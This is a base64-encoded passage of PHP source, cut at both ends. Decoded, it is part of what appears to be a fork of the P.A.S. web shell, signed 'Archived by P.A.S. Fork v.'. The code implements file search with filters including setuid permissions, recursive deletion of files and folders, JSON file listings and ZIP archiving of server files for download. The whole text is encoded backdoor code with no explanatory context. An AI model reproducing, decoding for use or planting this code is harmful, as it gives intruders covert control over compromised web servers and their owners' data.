AgICAkZiA9IG5ldyBGaWxlSW5mbygkcCk7CgkgICAgICAgIGlmICgkZi0+aXNEaXIoKSkgewoJICAgICAgICAgICAgaWYgKHN1YnN0cigkcCwgLTEpICE9PSBEU0MpCgkgICAgICAgICAgICAgICAgJHAgLj0gRFNDOwoJICAgICAgICAgICAgJGYgPSBOVUxMOwoJICAgICAgICAgICAgaWYgKCFkaXJSZWFkKCRwLCBhcnJheSgKCSAgICAgICAgICAgICAgICAmJHRoaXMsCgkgICAgICAgICAgICAgICAgJ2FkZFBhdGgnCgkgICAgICAgICAgICApKSkKCSAgICAgICAgICAgICAgICAkdGhpcy0+X2ZscnNbXSA9IHN1YnN0cigkcCwgJHRoaXMtPl9icGwpOwoJICAgICAgICB9IGVsc2UgewoJICAgICAgICAgICAgJHQgPSBwYWNrVGltZSgkZi0+Z2V0TVRpbWUoKSk7CgkgICAgICAgICAgICAkZiA9IHN1YnN0cigkcCwgJHRoaXMtPl9icGwpOwoJICAgICAgICAgICAgaWYgKCFOSVgpCgkgICAgICAgICAgICAgICAgJGYgPSBzdHJfcmVwbGFjZShEU0MsICcvJywgJGYpOwoJICAgICAgICAgICAgJHRoaXMtPmZpbGVIZWFkZXIoJGYsICR0KTsKCSAgICAgICAgICAgIGlmICghb3V0RmlsZSgkcCkpCgkgICAgICAgICAgICAgICAgJHRoaXMtPl9mbHJzW10gPSAkZjsKCSAgICAgICAgICAgICR0aGlzLT5maWxlRm9vdGVyKCRmLCAkdCk7CgkgICAgICAgIH0KCSAgICB9CgkgICAgZnVuY3Rpb24gY2xvc2UoKSB7CgkgICAgICAgIGlmIChjb3VudCgkdGhpcy0+X2ZscnMpID4gMCkgewoJICAgICAgICAgICAgJG4gPSAnQ0FOVF9SRUFELnR4dCc7CgkgICAgICAgICAgICAkdCA9IHBhY2tUaW1lKHRpbWUoKSk7CgkgICAgICAgICAgICAkdGhpcy0+ZmlsZUhlYWRlcigkbiwgJHQpOwoJICAgICAgICAgICAgZm9yZWFjaCAoJHRoaXMtPl9mbHJzIGFzICR2KQoJICAgICAgICAgICAgICAgIGVjaG8gJHYsICJcbiI7CgkgICAgICAgICAgICAkdGhpcy0+ZmlsZUZvb3RlcigkbiwgJHQpOwoJICAgICAgICB9CgkgICAgICAgICRmaCA9ICR0aGlzLT5fY2RmaDsKCSAgICAgICAgaWYgKCR0aGlzLT5fY2RmbykgewoJICAgICAgICAgICAgJHMgPSAkZmgtPmZ0ZWxsKCk7CgkgICAgICAgICAgICAkZmgtPmZzZWVrKDApOwoJICAgICAgICAgICAgaWYgKCFpc19pbnQoJGZoLT5mcGFzc3RocnUoKSkpCgkgICAgICAgICAgICAgICAgd2hpbGUgKCEkZmgtPmVvZigpKQoJICAgICAgICAgICAgICAgICAgICBlY2hvICRmaC0+ZnJlYWQoMTA0ODU3Nik7CgkgICAgICAgICAgICAkZmgtPmZsb2NrKExPQ0tfVU4pOwoJICAgICAgICAgICAgdW5zZXQoJGZoLCAkdGhpcy0+X2NkZmgpOwoJICAgICAgICB9IGVsc2UgewoJICAgICAgICAgICAgJHMgPSBmdGVsbCgkZmgpOwoJICAgICAgICAgICAgZnNlZWsoJGZoLCAwKTsKCSAgICAgICAgICAgIGlmICghaXNfaW50KGZwYXNzdGhydSgkZmgpKSkKCSAgICAgICAgICAgICAgICB3aGlsZSAoIWZlb2YoJGZoKSkKCSAgICAgICAgICAgICAgICAgICAgZWNobyBmcmVhZCgkZmgsIDEwNDg1NzYpOwoJICAgICAgICAgICAgZmxvY2soJGZoLCBMT0NLX1VOKTsKCSAgICAgICAgICAgIGZjbG9zZSgkZmgpOwoJICAgICAgICB9CgkgICAgICAgIGlmICgkdGhpcy0+X2NkZnAgIT09IE5VTEwpCgkgICAgICAgICAgICBkZWxGaWxlKCR0aGlzLT5fY2RmcCk7CgkgICAgICAgICR2ID0gcGFjaygndicsICR0aGlzLT5fY2RyYyk7CgkgICAgICAgICRjID0gJ0FyY2hpdmVkIGJ5IFAuQS5TLiBGb3JrIHYuICcgLiBWRVI7CgkgICAgICAgIGVjaG8gIlx4NTBceDRiXHgwNVx4MDZceDAwXHgwMFx4MDBceDAwIiwgJHYsICR2LCBwYWNrKCdWJywgJHMpLCBwYWNrKCdWJywgJHRoaXMtPl9jZHNvKSwgcGFjaygndicsIHN0cmxlbigkYykpLCAkYzsKCSAgICAgICAgc0RpZSgpOwoJICAgIH0KfQoJCmZ1bmN0aW9uIHBhY2tUaW1lKCR2KSB7CiAgICAkdiA9IGdldGRhdGUoJHYpOwogICAgcmV0dXJuIHBhY2soJ3Z2JywgKCgkdlsnaG91cnMnXSA8PCAxMSkgKyAoJHZbJ21pbnV0ZXMnXSA8PCA1KSArICR2WydzZWNvbmRzJ10gPj4gMSksICgoKCR2Wyd5ZWFyJ10gLSAxOTgwKSA8PCA5KSArICgkdlsnbW9uJ10gPDwgNSkgKyAkdlsnbWRheSddKSk7Cn0KCmlmICghZGVmaW5lZCgnUEhQX0lOVF9NQVgnKSkKICAgIGRlZmluZSgnUEhQX0lOVF9NQVgnLCBpbnR2YWwoJzEwMDAwMDAwMDAwMDAwMDAwMDAwJykpOwogICAgCmZ1bmN0aW9uIHppcENhbGMoJGJ1ZmYpIHsKICAgIHN0YXRpYyAkY3JjVGJsID0gTlVMTCwgJGNoclRibCA9IE5VTEwsICRkYXRhU2l6ZSA9IDAsICRjcmNTdW0gPSAweGZmZmZmZmZmLCAkc2hmdEZpeCA9IDA7CiAgICBpZiAoJGNyY1RibCA9PT0gTlVMTCkgewogICAgICAgICRzaGZ0Rml4ID0gUEhQX0lOVF9NQVggPj4gMDsKICAgICAgICBmb3IgKCRpID0gMDsgJGkgPCAyNTY7ICsrJGkpIHsKICAgICAgICAgICAgJHYgPSAkaTsKICAgICAgICAgICAgZm9yICgkaiA9IDg7ICRqOyAtLSRqKQogICAgICAgICAgICAgICAgJHYgPSAkdiAmIDEgPyAkdiA+PiAxICYgJHNoZnRGaXggXiAweEVEQjg4MzIwIDogJHYgPj4gMSAmICRzaGZ0Rml4OwogICAgICAgICAgICAkY3JjVGJsW10gICAgICAgID0gJHY7CiAgICAgICAgICAgICRjaHJUYmxbY2hyKCRpKV0gPSAkaTsKICAgICAgICB9CiAgICAgICAgJHNoZnRGaXggPSBQSFBfSU5UX01BWCA+PiA3OwogICAgfSBlbHNlaWYgKCRidWZmID09PSBOVUxMKSB7CiAgICAgICAgJHYgICAgICAgID0gYXJyYXkoCiAgICAgICAgICAgICRkYXRhU2l6ZSwKICAgICAgICAgICAgJGNyY1N1bQogICAgICAgICk7CiAgICAgICAgJGRhdGFTaXplID0gMDsKICAgICAgICAkY3JjU3VtICAgPSAweGZmZmZmZmZmOwogICAgICAgIHJldHVybiAkdjsKICAgIH0KICAgICRjID0gc3RybGVuKCRidWZmKTsKICAgICRkYXRhU2l6ZSArPSAkYzsKICAgIGZvciAoJGkgPSAwOyAkaSA8ICRjOyArKyRpKQogICAgICAgICRjcmNTdW0gPSAkY3JjVGJsWyRjcmNTdW0gJiAweEZGIF4gJGNoclRibFskYnVmZlskaV1dXSBeICRjcmNTdW0gPj4gOCAmICRzaGZ0Rml4OwogICAgcmV0dXJuICRidWZmOwp9CgpmdW5jdGlvbiBqc29uRWNobygkdikgewogICAgc3RhdGljICRzID0gTlVMTCwgJHIgPSBOVUxMOwogICAgaWYgKCRzID09PSBOVUxMKSB7CiAgICAgICAgJHMgPSBhcnJheSgKICAgICAgICAgICAgJ1xcJywKICAgICAgICAgICAgJyInCiAgICAgICAgKTsKICAgICAgICAkciA9IGFycmF5KAogICAgICAgICAgICAnXHUwMDVjJywKICAgICAgICAgICAgJ1x1MDAyMicKICAgICAgICApOwogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAweDFGOyArKyRpKSB7CiAgICAgICAgICAgICRzW10gPSBjaHIoJGkpOwogICAgICAgICAgICAkcltdID0gc3ByaW50ZignXHUwMCUwMnMnLCBkZWNoZXgoJGkpKTsKICAgICAgICB9CiAgICB9CiAgICBlY2hvICR2ID09PSBOVUxMID8gJyJOVUxMIicgOiAnIicgLiBzdHJfcmVwbGFjZSgkcywgJHIsICR2KSAuICciJzsKfQoKc3dpdGNoICgkRFsnYSddKSB7CiAgICBjYXNlICdmJzoKICAgICAgICBmdW5jdGlvbiB0ZXN0UHJvcCgkYSwgJHYpIHsKICAgICAgICAgICAgZm9yZWFjaCAoJGEgYXMgJGkpCiAgICAgICAgICAgICAgICBpZiAoaXNfYXJyYXkoJGkpKSB7CiAgICAgICAgICAgICAgICAgICAgaWYgKGNvdW50KCRpKSA9PT0gMikgewogICAgICAgICAgICAgICAgICAgICAgICBpZiAoJHYgPiAkaVswXSAmJiAkdiA8ICRpWzFdKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuIFRSVUU7CiAgICAgICAgICAgICAgICAgICAgfSBlbHNlaWYgKGlzc2V0KCRpWzBdKSkgewogICAgICAgICAgICAgICAgICAgICAgICBpZiAoJHYgPiAkaVswXSkKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiBUUlVFOwogICAgICAgICAgICAgICAgICAgIH0gZWxzZWlmICgkdiA8ICRpWzFdKQogICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gVFJVRTsKICAgICAgICAgICAgICAgIH0gZWxzZWlmICgkdiA9PT0gJGkpCiAgICAgICAgICAgICAgICAgICAgcmV0dXJuIFRSVUU7CiAgICAgICAgICAgIHJldHVybiBGQUxTRTsKICAgICAgICB9CiAgICAgICAgY2xhc3MgU2VhcmNoZXIgewogICAgICAgICAgICB2YXIgJGYsICRkLCAkcCwgJGE7CiAgICAgICAgICAgIGZ1bmN0aW9uIF9fY29uc3RydWN0KCR2KSB7CiAgICAgICAgICAgICAgICBlY2hvICd7ImYiOlsnOwogICAgICAgICAgICAgICAgJHRoaXMtPmYgPSAkdjsKICAgICAgICAgICAgICAgICR0aGlzLT5kID0gMDsKICAgICAgICAgICAgICAgICR0aGlzLT5wID0gTlVMTDsKICAgICAgICAgICAgICAgICR0aGlzLT5hID0gYXJyYXkoKTsKICAgICAgICAgICAgfQogICAgICAgICAgICBmdW5jdGlvbiBmaWx0ZXIoJHYpIHsKICAgICAgICAgICAgICAgICRpID0gbmV3IEZpbGVJbmZvKCR2KTsKICAgICAgICAgICAgICAgICRrID0gJGktPmdldEZpbGVOYW1lKCk7CiAgICAgICAgICAgICAgICAkZiA9ICR0aGlzLT5mOwogICAgICAgICAgICAgICAgaWYgKCRrID09PSAnLicgfHwgJGsgPT09ICcuLicpCiAgICAgICAgICAgICAgICAgICAgcmV0dXJuOwogICAgICAgICAgICAgICAgaWYgKCRpLT5pc0xpbmsoKSAmJiAhaXNzZXQoJGZbJ2wnXSkpCiAgICAgICAgICAgICAgICAgICAgcmV0dXJuOwogICAgICAgICAgICAgICAgJGIgPSAkaS0+aXNEaXIoKTsKICAgICAgICAgICAgICAgIGlmICgkYiAmJiAoIWlzc2V0KCRmWydkJ10pIHx8ICRmWydkJ10gPiAkdGhpcy0+ZCkpCiAgICAgICAgICAgICAgICAgICAgJHRoaXMtPmFbXSA9ICR2OwogICAgICAgICAgICAgICAgaWYgKGlzc2V0KCRmWyd5J10pICYmICgkZlsneSddID09PSAxID8gISRiIDogJGIpKQogICAgICAgICAgICAgICAgICAgIHJldHVybjsKICAgICAgICAgICAgICAgIGlmIChpc3NldCgkZlsncCddKSAmJiAkaS0+Z2V0TW9kZSgpIDwgJGZbJ3AnXSkKICAgICAgICAgICAgICAgICAgICByZXR1cm47CiAgICAgICAgICAgICAgICBpZiAoISRiICYmIGlzc2V0KCRmWyd1J10pICYmICgkaS0+Z2V0UGVybXMoKSAmIDAwMDcwMDApICE9PSAwMDA0MDAwKQogICAgICAgICAgICAgICAgICAgIHJldHVybjsKICAgICAgICAgICAgICAgIGlmIChpc3NldCgkZlsnbiddKSkgewogICAgICAgICAgICAgICAgICAgIGlmICgkayAhPT0gJGZbJ24nXSkKICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuOwogICAgICAgICAgICAgICAgfSBlbHNlaWYgKGlzc2V0KCRmWydpJ10pKSB7CiAgICAgICAgICAgICAgICAgICAgaWYgKHN0cmNhc2VjbXAoJGssICRmWydpJ10pICE9PSAwKQogICAgICAgICAgICAgICAgICAgICAgICByZXR1cm47CiAgICAgICAgICAgICAgICB9IGVsc2VpZiAoaXNzZXQoJGZbJ3InXSkpIHsKICAgICAgICAgICAgICAgICAgICBpZiAoIXByZWdfbWF0Y2goJGZbJ3InXSwgJGspKQogICAgICAgICAgICAgICAgICAgICAgICByZXR1cm47CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBpZiAoaXNzZXQoJGZbJ28nXSkgJiYgIXRlc3RQcm9wKCRmWydvJ10sICRpLT5nZXRPd25lcigpKSkKICAgICAgICAgICAgICAgICAgICByZXR1cm47CiAgICAgICAgICAgICAgICBpZiAoaXNzZXQoJGZbJ2cnXSkgJiYgIXRlc3RQcm9wKCRmWydnJ10sICRpLT5nZXRHcm91cCgpKSkKICAgICAgICAgICAgICAgICAgICByZXR1cm47CiAgICAgICAgICAgICAgICBpZiAoaXNzZXQoJGZbJ2UnXSkgJiYgIXRlc3RQcm9wKCRmWydlJ10sICRpLT5nZXRDVGltZSgpKSkKICAgICAgICAgICAgICAgICAgICByZXR1cm47CiAgICAgICAgICAgICAgICBpZiAoaXNzZXQoJGZbJ20nXSkgJiYgIXRlc3RQcm9wKCRmWydtJ10sICRpLT5nZXRNVGltZSgpKSkKICAgICAgICAgICAgICAgICAgICByZXR1cm47CiAgICAgICAgICAgICAgICBpZiAoISRiICYmIGlzc2V0KCRmWyd6J10pICYmICF0ZXN0UHJvcCgkZlsneiddLCAkaS0+Z2V0U2l6ZSgpKSkKICAgICAgICAgICAgICAgICAgICByZXR1cm47CiAgICAgICAgICAgICAgICBpZiAoISRiICYmIChpc3NldCgkZlsndCddKSB8fCBpc3NldCgkZlsndiddKSB8fCBpc3NldCgkZlsneCddKSkpIHsKICAgICAgICAgICAgICAgICAgICBpZiAoIWlzX3N0cmluZygkayA9IGdldEZpbGUoJHYpKSkKICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuOwogICAgICAgICAgICAgICAgICAgIGlmIChpc3NldCgkZlsndCddKSkgewogICAgICAgICAgICAgICAgICAgICAgICBpZiAoc3RycG9zKCRrLCAkZlsndCddKSA9PT0gRkFMU0UpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICByZXR1cm47CiAgICAgICAgICAgICAgICAgICAgfSBlbHNlaWYgKGlzc2V0KCRmWyd2J10pKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmIChzdHJpc3RyKCRrLCAkZlsndiddKSA9PT0gRkFMU0UpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICByZXR1cm47CiAgICAgICAgICAgICAgICAgICAgfSBlbHNlaWYgKCFwcmVnX21hdGNoKCRmWyd4J10sICRrKSkKICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgJGsgPSAkaS0+Z2V0UGF0aCgpOwogICAgICAgICAgICAgICAgaWYgKCR0aGlzLT5wICE9PSAkaykgewogICAgICAgICAgICAgICAgICAgIGlmICgkdGhpcy0+cCAhPT0gTlVMTCkKICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnXX0sJzsKICAgICAgICAgICAgICAgICAgICBlY2hvICd7InAiOic7CiAgICAgICAgICAgICAgICAgICAganNvbkVjaG8oJGspOwogICAgICAgICAgICAgICAgICAgICR0aGlzLT5wID0gJGs7CiAgICAgICAgICAgICAgICAgICAgJGsgICAgICAgPSBuZXcgRmlsZUluZm8oJGspOwogICAgICAgICAgICAgICAgICAgIGVjaG8gJywibSI6JywgJGstPmdldE1vZGUoKSwgJywiZiI6Wyc7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBvdXRGaWxlSW5mbygkaSk7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgZnVuY3Rpb24gc2VhcmNoKCR2KSB7CiAgICAgICAgICAgICAgICAkdGhpcy0+YSA9IGFycmF5KCk7CiAgICAgICAgICAgICAgICBkaXJSZWFkKCR2LCBhcnJheSgKICAgICAgICAgICAgICAgICAgICAmJHRoaXMsCiAgICAgICAgICAgICAgICAgICAgJ2ZpbHRlcicKICAgICAgICAgICAgICAgICkpOwogICAgICAgICAgICAgICAgaWYgKCFpc3NldCgkdGhpcy0+ZlsnZCddKSB8fCAkdGhpcy0+ZlsnZCddID4gJHRoaXMtPmQpIHsKICAgICAgICAgICAgICAgICAgICArKyR0aGlzLT5kOwogICAgICAgICAgICAgICAgICAgICRhID0gJHRoaXMtPmE7CiAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCAoJGEgYXMgJHYpCiAgICAgICAgICAgICAgICAgICAgICAgICR0aGlzLT5zZWFyY2goJHYpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgICAgIGZ1bmN0aW9uIGZpbmlzaCgpIHsKICAgICAgICAgICAgICAgIGlmICgkdGhpcy0+cCAhPT0gTlVMTCkgewogICAgICAgICAgICAgICAgICAgIGVjaG8gJ119XSc7CiAgICAgICAgICAgICAgICAgICAgb3V0RmlsZUluZm8oTlVMTCwgVFJVRSk7CiAgICAgICAgICAgICAgICB9IGVsc2UKICAgICAgICAgICAgICAgICAgICBlY2hvICddJzsKICAgICAgICAgICAgICAgIHNEaWUoJ30nKTsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICBmdW5jdGlvbiBkaXJSZWFkKCRwLCAkZikgewogICAgICAgICAgICAkYiA9IGlzX3N0cmluZygkZik7CiAgICAgICAgICAgIGlmIChzdWJzdHIoJHAsIC0xKSAhPT0gRFNDKQogICAgICAgICAgICAgICAgJHAgLj0gRFNDOwogICAgICAgICAgICBpZiAoJHYgPSBvcGVuZGlyKCRwKSkgewogICAgICAgICAgICAgICAgd2hpbGUgKCgkaSA9IHJlYWRkaXIoJHYpKSAhPT0gRkFMU0UpCiAgICAgICAgICAgICAgICAgICAgaWYgKCRpICE9PSAnLicgJiYgJGkgIT09ICcuLicpCiAgICAgICAgICAgICAgICAgICAgICAgICRiID8gJGYoJHAgLiAkaSkgOiAkZlswXS0+eyRmWzFdfSgkcCAuICRpKTsKICAgICAgICAgICAgICAgIGNsb3NlZGlyKCR2KTsKICAgICAgICAgICAgICAgIHJldHVybiBUUlVFOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGlmICgkdiA9IGRpcigkcCkpIHsKICAgICAgICAgICAgICAgIHdoaWxlICgoJGkgPSAkdi0+cmVhZCgpKSAhPT0gRkFMU0UpCiAgICAgICAgICAgICAgICAgICAgaWYgKCRpICE9PSAnLicgJiYgJGkgIT09ICcuLicpCiAgICAgICAgICAgICAgICAgICAgICAgICRiID8gJGYoJHAgLiAkaSkgOiAkZlswXS0+eyRmWzFdfSgkcCAuICRpKTsKICAgICAgICAgICAgICAgICR2LT5jbG9zZSgpOwogICAgICAgICAgICAgICAgcmV0dXJuIFRSVUU7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgaWYgKFBIUF9WRVJTSU9OID49ICc1Jyk6CiAgICAgICAgICAgICAgICB0cnkgewogICAgICAgICAgICAgICAgICAgICR2ID0gbmV3IERpcmVjdG9yeUl0ZXJhdG9yKCRwKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGNhdGNoIChFeGNlcHRpb24gJGUpIHsKICAgICAgICAgICAgICAgICAgICAkdiA9IEZBTFNFOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgaWYgKCR2KSB7CiAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCAoJHYgYXMgJGkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJG4gPSAkaS0+Z2V0RmlsZU5hbWUoKTsKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRuICE9PSAnLicgJiYgJG4gIT09ICcuLicpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkYiA/ICRmKCRpKSA6ICRmWzBdLT57JGZbMV19KCRpKTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgdW5zZXQoJGksICR2KTsKICAgICAgICAgICAgICAgICAgICByZXR1cm4gVFJVRTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIHRyeSB7CiAgICAgICAgICAgICAgICAgICAgJHYgPSBuZXcgUmVjdXJzaXZlRGlyZWN0b3J5SXRlcmF0b3IoJHApOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgY2F0Y2ggKEV4Y2VwdGlvbiAkZSkgewogICAgICAgICAgICAgICAgICAgICR2ID0gRkFMU0U7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBpZiAoJHYpIHsKICAgICAgICAgICAgICAgICAgICBmb3JlYWNoICgkdiBhcyAkaSkKICAgICAgICAgICAgICAgICAgICAgICAgJGIgPyAkZigkaSkgOiAkZlswXS0+eyRmWzFdfSgkaSk7CiAgICAgICAgICAgICAgICAgICAgdW5zZXQoJGksICR2KTsKICAgICAgICAgICAgICAgICAgICByZXR1cm4gVFJVRTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGlmIChQSFBfVkVSU0lPTiA+PSAnNS4zJykgewogICAgICAgICAgICAgICAgICAgIHRyeSB7CiAgICAgICAgICAgICAgICAgICAgICAgICR2ID0gbmV3IEZpbGVzeXN0ZW1JdGVyYXRvcigkcCk7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIGNhdGNoIChFeGNlcHRpb24gJGUpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJHYgPSBGQUxTRTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgaWYgKCR2KSB7CiAgICAgICAgICAgICAgICAgICAgICAgIGZvcmVhY2ggKCR2IGFzICRpKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGIgPyAkZigkaSkgOiAkZlswXS0+eyRmWzFdfSgkaSk7CiAgICAgICAgICAgICAgICAgICAgICAgIHVuc2V0KCRpLCAkdik7CiAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiBUUlVFOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICR2ID0gZGVmaW5lZCgnU0NBTkRJUl9TT1JUX05PTkUnKSA/IHNjYW5kaXIoJHAsIFNDQU5ESVJfU09SVF9OT05FKSA6IHNjYW5kaXIoJHApOwogICAgICAgICAgICAgICAgaWYgKCR2ICE9PSBGQUxTRSkgewogICAgICAgICAgICAgICAgICAgIGZvcmVhY2ggKCR2IGFzICRpKQogICAgICAgICAgICAgICAgICAgICAgICBpZiAoJGkgIT09ICcuJyAmJiAkaSAhPT0gJy4uJykKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRiID8gJGYoJHAgLiAkaSkgOiAkZlswXS0+eyRmWzFdfSgkcCAuICRpKTsKICAgICAgICAgICAgICAgICAgICByZXR1cm4gVFJVRTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgZW5kaWY7CiAgICAgICAgICAgIGlmIChQSFBfVkVSU0lPTiA+PSAnNC4zJyAmJiBkZWZpbmVkKCdHTE9CX0JSQUNFJykgJiYgKCR2ID0gZ2xvYigkcCAuIERTQyAuICd7LC59KicsIEdMT0JfTk9FU0NBUEUgfCBHTE9CX05PU09SVCB8IEdMT0JfQlJBQ0UpKSkgewogICAgICAgICAgICAgICAgZm9yZWFjaCAoJHYgYXMgJGkpIHsKICAgICAgICAgICAgICAgICAgICAkbiA9IGZpbGVOYW1lKCRpKTsKICAgICAgICAgICAgICAgICAgICBpZiAoJG4gIT09ICcuJyAmJiAkbiAhPT0gJy4uJykKICAgICAgICAgICAgICAgICAgICAgICAgJGIgPyAkZigkaSkgOiAkZlswXS0+eyRmWzFdfSgkaSk7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICByZXR1cm4gVFJVRTsKICAgICAgICAgICAgfQogICAgICAgICAgICBpZiAoUEhQX1ZFUlNJT04gPj0gJzUnKToKICAgICAgICAgICAgICAgIGlmIChQSFBfVkVSU0lPTiA+PSAnNS4zJykgewogICAgICAgICAgICAgICAgICAgIHRyeSB7CiAgICAgICAgICAgICAgICAgICAgICAgICR2ID0gbmV3IEdsb2JJdGVyYXRvcigkcCAuICcqJyk7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIGNhdGNoIChFeGNlcHRpb24gJGUpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJHYgPSBGQUxTRTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgaWYgKCR2ICYmIGNvdW50KCR2KSA+IDApIHsKICAgICAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCAoJHYgYXMgJGkpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkYiA/ICRmKCRpKSA6ICRmWzBdLT57JGZbMV19KCRpKTsKICAgICAgICAgICAgICAgICAgICAgICAgdW5zZXQoJGksICR2KTsKICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuIFRSVUU7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfQogICAgICAgICAgICBlbmRpZjsKICAgICAgICAgICAgcmV0dXJuIEZBTFNFOwogICAgICAgIH0KICAgICAgICBmdW5jdGlvbiBkZWxEaXIoJHApIHsKICAgICAgICAgICAgZGlyUmVhZCgkcCwgJ2RlbEZPRCcpOwogICAgICAgICAgICByZXR1cm4gcm1kaXIoJHApOwogICAgICAgIH0KICAgICAgICBmdW5jdGlvbiBkZWxGT0QoJGYpIHsKICAgICAgICAgICAgJGYgPSBuZXcgRmlsZUluZm8oJGYpOwogICAgICAgICAgICAkbiA9ICRmLT5nZXRGaWxlTmFtZSgpOwogICAgICAgICAgICBpZiAoJG4gIT09ICcuJyAmJiAkbiAhPT0gJy4uJykKICAgICAgICAgICAgICAgIHJldHVybiAoISRmLT5pc0xpbmsoKSAmJiAkZi0+aXNEaXIoKSkgPyBkZWxEaXIoJGYtPmdldFBhdGhOYW1lKCkpIDogZGVsRmlsZSgkZi0+Z2V0UGF0aE5hbWUoKSk7CiAgICAgICAgfQogICAgICAgIGZ1bmN0aW9uIGlzSW50KCR2KSB7CiAgICAgICAgICAgIHJldHVybiAoc3RyaW5nKSAkdiA9PT0gKHN0cmluZykgKGludCkgJHY7CiAgICAgICAgfQogICAgICAgIGZ1bmN0aW9uIGpzb25GaWxlSW5mbygkZiwgJGIpIHsKICAgICAgICAgICAgZWNobyAnWyc7CiAgICAgICAgICAgIGpzb25FY2hvKCRiID8gJGYtPmdldFBhdGhOYW1lKCkgOiAkZi0+Z2V0RmlsZU5hbWUoKSk7CiAgICAgICAgICAgIGVjaG8gJywnLCAkZi0+aXNEaXIoKSA/ICdudWxsJyA6ICRmLT5nZXRTaXplKCksICcsJywgKFRNID8gJGYtPmdldENUaW1lKCkgOiAkZi0+Z2V0TVRpbWUoKSksICcsJywgJGYtPmdldE1vZGUoKSwgJywiJywgJGYtPmdldFBlcm1zKCksICciJzsKICAgICAgICAgICAgaWYgKE5JWCkgewogICAgICAgICAgICAgICAgZWNobyAnLCcsICRmLT5nZXRPd25lcigpLCAnLCcsICRmLT5nZXRHcm91cCgpOwogICAgICAgICAgICAgICAgaWYgKCRiKSB7CiAgICAgICAgICAgICAgICAgICAgZWNobyAnLCc7CiAgICAgICAgICAgICAgICAgICAganNvbkVjaG8odU5hbWUoJGYtPmdldE93bmVyKCkpKTsKICAgICAgICAgICAgICAgICAgICBlY2hvICcsJzsKICAgICAgICAgICAgICAgICAgICBqc29uRWNobyhnTmFtZSgkZi0+Z2V0R3JvdXAoKSkpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgICAgIGlmICgkZi0+aXNMaW5rKCkpIHsKICAgICAgICAgICAgICAgIGVjaG8gJywnOwogICAgICAgICAgICAgICAganNvbkVjaG8oJGYtPmdldExpbmtUYXJnZXQoKSk7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgZWNobyAnXSc7CiAgICAgICAgfQogICAgICAgIGZ1bmN0aW9uIG91dEZpbGVJbmZvKCRmLCAkYiA9IE5VTEwpIHsKICAgICAgICAgICAgc3RhdGljICRwID0gTlVMTCwgJG8gPSBhcnJheSgpLCAkZyA9IGFycmF5KCk7CiAgICAgICAgICAgIGlmICgkYiA9PT0gVFJVRSkgewogICAgICAgICAgICAgICAgaWYgKCFOSVggfHwgY291bnQoJG8pID09PSAwKQogICAgICAgICAgICAgICAgICAgIHJldHVybjsKICAgICAgICAgICAgICAgICRiID0gRkFMU0U7CiAgICAgICAgICAgICAgICBlY2hvICcsIm8iOnsnOwogICAgICAgICAgICAgICAgZm9yZWFjaCAoJG8gYXMgJGsgPT4gJHYpIHsKICAgICAgICAgICAgICAgICAgICBpZiAoJGIpCiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJywnOwogICAgICAgICAgICAgICAgICAgIGVsc2UKICAgICAgICAgICAgICAgICAgICAgICAgJGIgPSBUUlVFOwogICAgICAgICAgICAgICAgICAgIGVjaG8gJyInLCAkaywgJyI6JzsKICAgICAgICAgICAgICAgICAgICBqc29uRWNobyh1TmFtZSgkaykpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgJGIgPSBGQUxTRTsKICAgICAgICAgICAgICAgIGVjaG8gJ30sImciOnsnOwogICAgICAgICAgICAgICAgZm9yZWFjaCAoJGcgY